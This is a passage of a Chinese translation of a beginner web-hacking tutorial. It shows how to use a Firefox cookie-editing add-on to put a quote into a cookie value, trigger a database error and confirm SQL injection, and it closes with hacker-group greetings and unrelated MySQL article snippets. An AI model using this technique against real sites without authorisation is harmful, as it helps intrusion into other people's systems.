Referer: http://www.yaboukir.com

#0x10.d~Cookie

Cookie Manager +(Firefox Addon)允許檢視,編輯和建立新的Cookie。它還允許顯示有關cookie的額外資訊,並允許一次編輯多個cookie,以及備份/恢復它們。

安裝後,從“工具”選單中選擇“Cookies管理器+”。我們選擇與目標應用程式相關的Cookie變數。

我們將編輯language_id變數。為了弄清楚SQL注入缺陷,我們將在欄位中新增引號“'”
變數language_id的內容。

重新整理頁面或單擊應用程式的其他內部連結後,應用程式將使用編輯的HTTP cookie提交請求。結果是觸發了SQL錯誤:

此資料庫錯誤警告我們易受SQL注入漏洞。

使用Cookies Manager +的優點是它易於使用,直接對cookie執行操作並儲存以前編輯的cookie值。

我們將嘗試使用另一個Firefox外掛確定列數。

Greetz&Shoutz

在darkmindz向所有人致以Greetz。在GNY和現在r00tw0rm未定義的情況下,對於Psycho和sToRm(兩個傢伙)的負荷。也歡迎t0mmy9(感謝總是幫助我學習東西),這是合法的。

嗨,我所有的同學bigyan musa,bhakunde sameer,gainda sandeep,joe haatti,dipesh bhedo,eman bhainsi,milan biralo,nikesh gandeula(Pheretima posthuma)和我所有的其他同學。你們這些人,我在生物課上度過了無聊的日子。希望能見到你們所有人。我希望你們有光明的未來。成為成功的醫生,工程師或任何你想成為的人......

結束

有了這個,我的教程主要是針對新手,在這裡結束。我希望你喜歡我的教程。在我自學了所有這些東西后,我希望能在新手概念中編寫新的教程。

最後,閱讀越來越多,越來越多地問,這是學習東西的最佳方式。

繼續學習和享受它。

Free to Freedom... Hack The Planet !

作者: Insider

翻譯:i春秋翻譯小組-Neo(李皓偉)

相關推薦

完整MySQL注入

免責宣告:本教程僅用於教育目的,以保護您自己的SQL註釋程式碼。 在閱讀本教程後,您必須對任何行動承擔全部責任。 0x00 ~ 背景 這篇文章題目為“為新手完成MySQL注入”,它旨在提供專門針對MySQL資料庫的SQL注入的完整知識和工作方式,除了堆疊查詢部分。 這

完整的人工智慧書單大全,學習AI的請收藏好

來源: 產業智慧官 概要:想自學人工智慧,到底看什麼書?現在關於AI的圖書成千上萬,那些才是最好的? 想自學人工智慧,到底看什麼書?現在關於AI的圖書成千上萬,那些才是最好的?智慧菌花了一週的

簡單 MySQL 分割槽

一、什麼是表分割槽: 通俗地講表分割槽是將一大表,根據條件分割成若干個小表。 mysql5.1開始支援資料表分割槽了。 二、為什麼要對錶進行分割槽: 為了改善大型表以及具有各種訪問模式的表的可伸縮性,可管理性和提高資料庫效率。 三、分割槽的優點: 1、單個磁

mysql刪庫跑路必會姿勢

基礎篇:MySql架構與儲存引擎 邏輯架構圖:        連線層:   mysql啟動後(可以把mysql類比為一個後臺的伺服器),等待客戶端請求,當請求到來後,mysql建立一個一個執行緒處理(執行緒池則分配一個空執行緒,當然也可使用nio

簡單MySQL教程詳解(基礎篇)之多表聯合查詢

常用術語 內連線 外連線 左外連線 右外連線 注意事項: 自連線 子查詢 在上篇文章史上最簡單MySQL教程詳解(基礎篇)之資料庫設計正規化及應用舉例我們介紹過,在關係型資料庫中,我們通常為了減少資料的冗餘量將對資料表進行規範,將

優秀後端架構師必會知識:MySQL大表優化方案總結

本文原作者“ manong”,原創發表於segmentfault,原文連結:segmentfault.com/a/1190000006158186 1、引言 MySQL作為開源技術的代表作之一,是網際網路得以廣泛流行的重要基礎技術之一。 國外 GitHub、Airbnb、Yelp、

簡單MySQL教程詳解(進階篇)之儲存引擎介紹及預設引擎設定

什麼是儲存引擎? 與其他資料庫例如Oracle 和SQL Server等資料庫中只有一種儲存引擎不同的是,MySQL有一個被稱為“Pluggable Storage Engine Architecture”(可替換儲存引擎架構)的特性,也就意味著My

完整掃描包下所有類(含Jar包掃描,maven子專案掃描)

要掃描包下的所有類,分類路徑下掃描和jar包掃描兩種,其中jar包掃描又分專案中引入的三方jar包,同級maven的多個子專案jar相互引用,還有jdk jar包(這裡不考慮,一般沒哪個專案會掃描jdk jar包裡的類). 我先宣告一個介面,用於應對不同型別的class

完整的APP商城原始碼(含伺服器)

直接下載匯入工程即可直接執行. 包含伺服器原始碼(伺服器已經線上配置) 主要功能如下: 首頁: 從上到下分別是: 廣告輪播、選單按鈕 、 品牌推介、 推介、熱銷商品 分類: 類似京東商品三級分類, 左邊是一級分類, 右邊是二級分類 , 二級

XX-NET詳細完整教程

偽造 不用 app 分享圖片 AS 版本 firefox 配置過程 自動切換 前言   XX-NET,系GAE類代理,即通過可用Google ip連接Google App Engine項目,然後把所有tcp請求發送給Google App Engine,最終實現科學式網絡的

全的 MySQL 高效能優化實戰總結

一、前言 MySQL 對於很多 Linux 從業者而言,是一個非常棘手的問題,多數情況都是因為對資料庫出現問題的情況和處理思路不清晰。在進行 MySQL 的優化之前必須要了解的就是 MySQL 的查詢過程,很多的查詢優化工作實際上就是遵循一些原則讓MySQL 的優化器能夠按照預想的

收藏起來,全的 MySQL 高效能優化實戰總結!

摘要: 一、前言 MySQL 對於很多 Linux 從業者而言,是一個非常棘手的問題,多數情況都是因為對資料庫出現問題的情況和處理思路不清晰。在進行 MySQL 的優化之前必須要了解的就是 MySQL 的查詢過程,很多的查詢優化工作實際上就是遵循一些原則讓MySQL 的優化器能夠按照預想的

簡單的MySQL教程》系列分享專欄

《史上最簡單的MySQL教程》系列分享專欄 《史上最簡單的MySQL教程》已整理成PDF文件,點選可直接下載至本地查閱https://www.webfalse.com/read/207399.html 簡介 整理史上最簡單的MySQL教程,來自csdn的推薦專欄,博主從入門到進階,詳細講

全的使用Mysql計算兩點之間的距離保留後面小數點的問題

在Mysql裡計算兩點之間的距離一般我們使用的sql如下: 6378.140 * 2 * ASIN(                     SQ

全的MySQL高效能優化實戰總結!

1.1前言 MySQL對於很多Linux從業者而言,是一個非常棘手的問題,多數情況都是因為對資料庫出現問題的情況和處理思路不清晰。在進行MySQL的優化之前必須要了解的就是MySQL的查詢過程,很多的查詢優化工作實際上就是遵循一些原則讓MySQL的優化器能夠按照預想

全的基於ffmpeg+sdl網路攝像頭編解碼播放資料(包含交叉編譯過程,附帶完整原始碼)

原創博文,嚴禁私自轉載,轉載請註明出處!!! 近期,由於工作需要,要在開發板上跑一個攝像頭,攝像頭款式比較老,不支援rtsp格式,所以選擇編譯ffmpeg+sdl實現軟解碼播放攝像頭,特此記錄整個編譯過程(非常之艱辛,發文留念) 在ubuntu上交叉編譯環境的搭建:因為開發板上搭建的程式的執

簡單SpringBoot @Bean & @Qualifier 注入(零 XML 注入

首先,Create 一個名叫 ApplicationConfig 的類: —> 1、用 @Configuration 註解上 —> 2、繼承 WebMvcConfigurerAdapter (零 XML 注入) —> 3、定義一個方法用 @Be

全的select加鎖分析(Mysql)

引言 大家在面試中有沒遇到面試官問你下面六句Sql的區別呢 select * from table where id = ? select * from table where&nb

簡單的 MySQL 教程----事務

事務原理 事務原理:在事務開啟之後,所有的操作都會被臨時儲存到事務日誌,事務日誌只有在收到commit命令之後,才會將操作同步到資料表,其他任何情況都會清空事務日誌,例如突然斷開連線、收到rollback命令等。 接下來,我們簡單分析一下 MySQL 的操作過程: St